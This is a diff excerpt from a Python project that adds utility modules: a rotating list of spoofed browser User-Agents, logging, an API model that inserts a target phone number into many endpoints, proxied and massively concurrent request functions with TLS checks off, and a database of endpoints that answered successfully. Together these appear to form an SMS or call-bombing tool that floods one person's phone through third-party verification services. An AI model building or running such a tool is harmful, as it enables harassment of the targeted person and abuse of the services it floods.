{"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; ja-JP; rv:1.7) Gecko/20040707 Firefox/0.9.2"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; SE 2.X MetaSr 1.0; SE 2.X MetaSr 1.0; .NET CLR 2.0.50727; SE 2.X MetaSr 1.0)"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.4 (KHTML, like Gecko) Chrome/2.0.171.0 Safari/530.4"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24"},
|
||||||
|
{"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl-NL; rv:1.7.5) Gecko/20041202 Firefox/1.0"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.6 Safari/532.2"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/528.8 (KHTML, like Gecko) Chrome/1.0.156.0 Safari/528.8"},
|
||||||
|
{"User-Agent": "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/6.0)"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 1.1.4322)"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.43 Safari/534.7"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.15 Safari/534.13"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (ipad Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.6 (KHTML, like Gecko) Chrome/7.0.498.0 Safari/534.6"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.43 Safari/530.5"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.208.0 Safari/532.0"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.19 (KHTML, like Gecko) Chrome/11.0.661.0 Safari/534.19"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-CA) AppleWebKit/534.13 (KHTML like Gecko) Chrome/9.0.597.98 Safari/534.13"},
|
||||||
|
{"User-Agent": "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.201.1 Safari/532.0"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.201.1 Safari/532.0"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.1 Safari/532.1"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/2.0.174.0 Safari/530.6"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.3.154.6 Safari/525.19"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.599.0 Safari/534.13"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.8 (KHTML, like Gecko) Chrome/7.0.521.0 Safari/534.8"},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b2pre) Gecko/20081015 Fennec/1.0a1"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"User-Agent": "Mozilla/5.0 (iPod; U; CPU iPhone OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5"},
|
||||||
|
]
|
||||||
|
|
||||||
|
|
||||||
|
def default_header_user_agent():
|
||||||
|
return random.choice(USER_AGENT_LIST)
|
||||||
44
utils/log.py
Normal file
44
utils/log.py
Normal file
@@ -0,0 +1,44 @@
|
|||||||
|
# encoding=utf8
|
||||||
|
# 日志模块
|
||||||
|
from loguru import logger
|
||||||
|
import pathlib
|
||||||
|
import sys
|
||||||
|
import os
|
||||||
|
|
||||||
|
# 终端日志输出格式
|
||||||
|
stdout_fmt = '<cyan>{time:HH:mm:ss,SSS}</cyan> ' \
|
||||||
|
'[<level>{level}</level>] ' \
|
||||||
|
'<cyan>{thread.name}</cyan> ' \
|
||||||
|
'<blue>{module}</blue>:<cyan>{line}</cyan> - ' \
|
||||||
|
'<level>{message}</level>'
|
||||||
|
|
||||||
|
# 日志文件记录格式
|
||||||
|
# logfile_fmt = '<light-green>{time:YYYY-MM-DD HH:mm:ss,SSS}</light-green> ' \
|
||||||
|
# '[<level>{level: <5}</level>] ' \
|
||||||
|
# '<cyan>{process.name}({process.id})</cyan>:' \
|
||||||
|
# '<cyan>{thread.name: <10}({thread.id: <5})</cyan> | ' \
|
||||||
|
# '<blue>{module}</blue>.<blue>{function}</blue>:' \
|
||||||
|
# '<blue>{line}</blue> - <level>{message}</level>'
|
||||||
|
|
||||||
|
logfile_fmt = '<light-green>{time:YYYY-MM-DD HH:mm:ss,SSS}</light-green> ' \
|
||||||
|
'[<level>{level}</level>] ' \
|
||||||
|
'<blue>{module}</blue>.<blue>{function}</blue>:' \
|
||||||
|
'<blue>{line}</blue> - <level>{message}</level>'
|
||||||
|
|
||||||
|
log_pathDir = pathlib.Path(os.getcwd()).resolve().joinpath('logs')
|
||||||
|
if not log_pathDir.is_dir():
|
||||||
|
log_pathDir.mkdir()
|
||||||
|
log_path = log_pathDir.joinpath('run.log').resolve()
|
||||||
|
|
||||||
|
logger.remove()
|
||||||
|
|
||||||
|
if not os.environ.get('PYTHONIOENCODING'): # 设置编码
|
||||||
|
os.environ['PYTHONIOENCODING'] = 'utf-8'
|
||||||
|
|
||||||
|
logger.add(sys.stderr, level='INFO', format=stdout_fmt, enqueue=True)
|
||||||
|
# 输出到文件
|
||||||
|
# logger.add(log_path, level='DEBUG', format=logfile_fmt,
|
||||||
|
# enqueue=True, encoding='utf-8')
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
logger.info("test")
|
||||||
59
utils/models.py
Normal file
59
utils/models.py
Normal file
@@ -0,0 +1,59 @@
|
|||||||
|
# encoding=utf8
|
||||||
|
# 一些模型
|
||||||
|
from pydantic import BaseModel
|
||||||
|
from typing import Union, Optional
|
||||||
|
from datetime import datetime
|
||||||
|
import json
|
||||||
|
|
||||||
|
from utils import default_header_user_agent
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
class API(BaseModel):
|
||||||
|
"""处理自定义 API 数据"""
|
||||||
|
desc: str = "Default"
|
||||||
|
url: str
|
||||||
|
method: str = "GET"
|
||||||
|
|
||||||
|
header: Optional[Union[str, dict]] = default_header_user_agent()
|
||||||
|
|
||||||
|
data: Optional[Union[str, dict]]
|
||||||
|
|
||||||
|
def replace_data(self, content: Union[str, dict], phone: str) -> str:
|
||||||
|
# 统一转换成 str 再替换. ' -> "
|
||||||
|
if phone:
|
||||||
|
content = str(content).replace("[phone]", phone).replace(
|
||||||
|
"[timestamp]", self.timestamp_new()).replace("'", '"')
|
||||||
|
|
||||||
|
# 尝试 json 化
|
||||||
|
try:
|
||||||
|
return json.loads(content.replace("'", '"'))
|
||||||
|
except:
|
||||||
|
return content
|
||||||
|
|
||||||
|
def timestamp_new(self) -> str:
|
||||||
|
"""返回整数字符串时间戳"""
|
||||||
|
return str(int(datetime.now().timestamp()))
|
||||||
|
|
||||||
|
|
||||||
|
def handle_API(self, phone: str=None):
|
||||||
|
""" 传入手机号处理 API
|
||||||
|
:param API: one API basemodel
|
||||||
|
:return: API basemodel
|
||||||
|
"""
|
||||||
|
# 仅仅当传入 phone 参数时添加 Referer
|
||||||
|
# fix: 这段代码很有问题.......
|
||||||
|
if phone:
|
||||||
|
# 进入的 header 是个字符串
|
||||||
|
if self.header == "":
|
||||||
|
self.header = {}
|
||||||
|
self.header['Referer'] = self.url # 增加 Referer
|
||||||
|
|
||||||
|
self.header = self.replace_data(self.header, phone)
|
||||||
|
if not self.header.get('Referer'):
|
||||||
|
self.header['Referer'] = self.url # 增加 Referer
|
||||||
|
|
||||||
|
self.data = self.replace_data(self.data, phone)
|
||||||
|
self.url = self.replace_data(self.url, phone)
|
||||||
|
# print(self)
|
||||||
|
return self
|
||||||
141
utils/req.py
Normal file
141
utils/req.py
Normal file
@@ -0,0 +1,141 @@
|
|||||||
|
# encoding=utf8
|
||||||
|
# 请求的方法
|
||||||
|
import httpx
|
||||||
|
from httpx import Limits
|
||||||
|
from typing import Union, List
|
||||||
|
import asyncio
|
||||||
|
|
||||||
|
|
||||||
|
from utils import default_header_user_agent
|
||||||
|
|
||||||
|
from utils.models import API
|
||||||
|
from utils.log import logger
|
||||||
|
|
||||||
|
|
||||||
|
def reqAPI(api: API, client: Union[httpx.Client, httpx.AsyncClient]) -> httpx.Response:
|
||||||
|
if isinstance(api.data, dict):
|
||||||
|
resp = client.request(method=api.method, json=api.data,
|
||||||
|
headers=api.header, url=api.url, timeout=10)
|
||||||
|
else:
|
||||||
|
resp = client.request(method=api.method, data=api.data,
|
||||||
|
headers=api.header, url=api.url, timeout=10)
|
||||||
|
return resp
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
def reqFuncByProxy(api: Union[API, str], phone: Union[tuple, str], proxy: dict) -> bool:
|
||||||
|
|
||||||
|
"""通过代理请求接口方法"""
|
||||||
|
# 多手机号支持
|
||||||
|
if isinstance(phone, tuple):
|
||||||
|
phone_lst = [_ for _ in phone]
|
||||||
|
else:
|
||||||
|
phone_lst = [phone]
|
||||||
|
with httpx.Client(headers=default_header_user_agent(), verify=False, proxies=proxy) as client:
|
||||||
|
for ph in phone_lst:
|
||||||
|
try:
|
||||||
|
if isinstance(api, API):
|
||||||
|
api = api.handle_API(ph)
|
||||||
|
resp = reqAPI(api, client)
|
||||||
|
logger.info(f"{api.desc}-{resp.text[:30]}")
|
||||||
|
else:
|
||||||
|
api = api.replace("[phone]", ph).replace(" ", "").replace('\n', '').replace('\r', '')
|
||||||
|
resp = client.get(url=api, headers=default_header_user_agent())
|
||||||
|
logger.info(f"GETAPI接口-{resp.text[:30]}")
|
||||||
|
return True
|
||||||
|
except httpx.HTTPError as why:
|
||||||
|
logger.error(f"请求失败{why}")
|
||||||
|
return False
|
||||||
|
|
||||||
|
|
||||||
|
def reqFunc(api: Union[API, str], phone: Union[tuple, str]) -> bool:
|
||||||
|
|
||||||
|
"""请求接口方法"""
|
||||||
|
# 多手机号支持
|
||||||
|
if isinstance(phone, tuple):
|
||||||
|
phone_lst = [_ for _ in phone]
|
||||||
|
else:
|
||||||
|
phone_lst = [phone]
|
||||||
|
with httpx.Client(headers=default_header_user_agent(), verify=False) as client:
|
||||||
|
for ph in phone_lst:
|
||||||
|
try:
|
||||||
|
if isinstance(api, API):
|
||||||
|
api = api.handle_API(ph)
|
||||||
|
resp = reqAPI(api, client)
|
||||||
|
logger.info(f"{api.desc}-{resp.text[:30]}")
|
||||||
|
else:
|
||||||
|
api = api.replace("[phone]", ph).replace(" ", "").replace('\n', '').replace('\r', '')
|
||||||
|
resp = client.get(url=api, headers=default_header_user_agent())
|
||||||
|
logger.info(f"GETAPI接口-{resp.text[:30]}")
|
||||||
|
return True
|
||||||
|
except httpx.HTTPError as why:
|
||||||
|
logger.error(f"请求失败{why}")
|
||||||
|
return False
|
||||||
|
|
||||||
|
|
||||||
|
async def asyncReqs(src: Union[API, str], phone: Union[tuple, str], semaphore):
|
||||||
|
"""异步请求方法
|
||||||
|
|
||||||
|
:param:
|
||||||
|
:return:
|
||||||
|
|
||||||
|
"""
|
||||||
|
# 多手机号支持
|
||||||
|
if isinstance(phone, tuple):
|
||||||
|
phone_lst = [_ for _ in phone]
|
||||||
|
else:
|
||||||
|
phone_lst = [phone]
|
||||||
|
async with semaphore:
|
||||||
|
async with httpx.AsyncClient(
|
||||||
|
limits=Limits(max_connections=1000,
|
||||||
|
max_keepalive_connections=2000),
|
||||||
|
headers=default_header_user_agent(),
|
||||||
|
verify=False,
|
||||||
|
timeout=99999
|
||||||
|
) as c:
|
||||||
|
|
||||||
|
for ph in phone_lst:
|
||||||
|
try:
|
||||||
|
if isinstance(src, API):
|
||||||
|
src = src.handle_API(ph)
|
||||||
|
r = await reqAPI(src, c)
|
||||||
|
else:
|
||||||
|
# 利用元组传参安全因为元组不可修改
|
||||||
|
s = (src.replace(" ", "").replace("\n", "").replace("\t", "").replace(
|
||||||
|
"&", "").replace('\n', '').replace('\r', ''),)
|
||||||
|
r = await c.get(*s)
|
||||||
|
return r
|
||||||
|
except httpx.HTTPError as why:
|
||||||
|
logger.error(f"异步请求失败{type(why)}")
|
||||||
|
# logger.error(f"异步请求失败{why}")
|
||||||
|
# import aiofiles
|
||||||
|
# async with aiofiles.open("error.txt","a",encoding="utf-8") as f:
|
||||||
|
# await f.write(f"{str(s[0]) if str(s[0]) else str(src)}\n")
|
||||||
|
except TypeError:
|
||||||
|
logger.error("类型错误")
|
||||||
|
except Exception as wy:
|
||||||
|
logger.exception(f"异步失败{wy}")
|
||||||
|
|
||||||
|
|
||||||
|
def callback(result):
|
||||||
|
"""异步回调函数"""
|
||||||
|
log = result.result()
|
||||||
|
if log is not None:
|
||||||
|
logger.info(f"请求结果:{log.text[:30]}")
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
async def runAsync(apis: List[Union[API,str]], phone: Union[tuple, str]):
|
||||||
|
|
||||||
|
|
||||||
|
tasks = []
|
||||||
|
|
||||||
|
for api in apis:
|
||||||
|
semaphore = asyncio.Semaphore(999999)
|
||||||
|
task = asyncio.ensure_future(asyncReqs(api, phone, semaphore))
|
||||||
|
task.add_done_callback(callback)
|
||||||
|
tasks.append(task)
|
||||||
|
|
||||||
|
await asyncio.gather(
|
||||||
|
*tasks
|
||||||
|
)
|
||||||
65
utils/sql.py
Normal file
65
utils/sql.py
Normal file
@@ -0,0 +1,65 @@
|
|||||||
|
# encoding=utf8
|
||||||
|
# 读写sqlite数据库
|
||||||
|
from pathlib import Path
|
||||||
|
from utils.log import logger
|
||||||
|
import sqlite3
|
||||||
|
|
||||||
|
|
||||||
|
class Sql(object):
|
||||||
|
"""处理SQL数据"""
|
||||||
|
|
||||||
|
def __init__(self, db_path: Path) -> None:
|
||||||
|
'''初始化数据库'''
|
||||||
|
# 数据库路径
|
||||||
|
# db_path = Path.cwd().joinpath("api.db")
|
||||||
|
# 连接数据库,不检查是否在同一个线程.
|
||||||
|
self.client = sqlite3.connect(
|
||||||
|
db_path, timeout=6, check_same_thread=False)
|
||||||
|
self.cursor = self.client.cursor()
|
||||||
|
self.newTable()
|
||||||
|
|
||||||
|
def newTable(self):
|
||||||
|
'''初始化表结构'''
|
||||||
|
sql = '''
|
||||||
|
CREATE TABLE IF NOT EXISTS API200 (
|
||||||
|
id INT NULL,
|
||||||
|
url TEXT NOT NULL,
|
||||||
|
primary key (url)
|
||||||
|
);
|
||||||
|
'''
|
||||||
|
self.cursor.execute(sql)
|
||||||
|
self.client.commit()
|
||||||
|
|
||||||
|
def update(self, url):
|
||||||
|
'''插入数据'''
|
||||||
|
sql = '''
|
||||||
|
INSERT INTO API200 (ID,url) VALUES (null,?)
|
||||||
|
'''
|
||||||
|
try:
|
||||||
|
self.cursor.execute(sql, (url,))
|
||||||
|
self.client.commit()
|
||||||
|
logger.success("插入成功!")
|
||||||
|
return True
|
||||||
|
except sqlite3.IntegrityError:
|
||||||
|
logger.error(f"数据重复!")
|
||||||
|
return False
|
||||||
|
|
||||||
|
def select(self) -> list:
|
||||||
|
'''获取所有接口'''
|
||||||
|
sql = '''
|
||||||
|
SELECT url FROM API200;
|
||||||
|
'''
|
||||||
|
try:
|
||||||
|
self.cursor.execute(sql)
|
||||||
|
result = self.cursor.fetchall()
|
||||||
|
urls = []
|
||||||
|
for url in result:
|
||||||
|
urls.append(url[0])
|
||||||
|
return urls
|
||||||
|
except Exception as e:
|
||||||
|
logger.error('读取出现错误!', e)
|
||||||
|
|
||||||
|
def __del__(self) -> None:
|
||||||
|
'''对象被删除时执行的函数'''
|
||||||
|
logger.info(f"共改变{self.client.total_changes}条数据!,正在关闭数据库连接......")
|
||||||
|
self.client.close()
|
||||||
Reference in New Issue
Block a user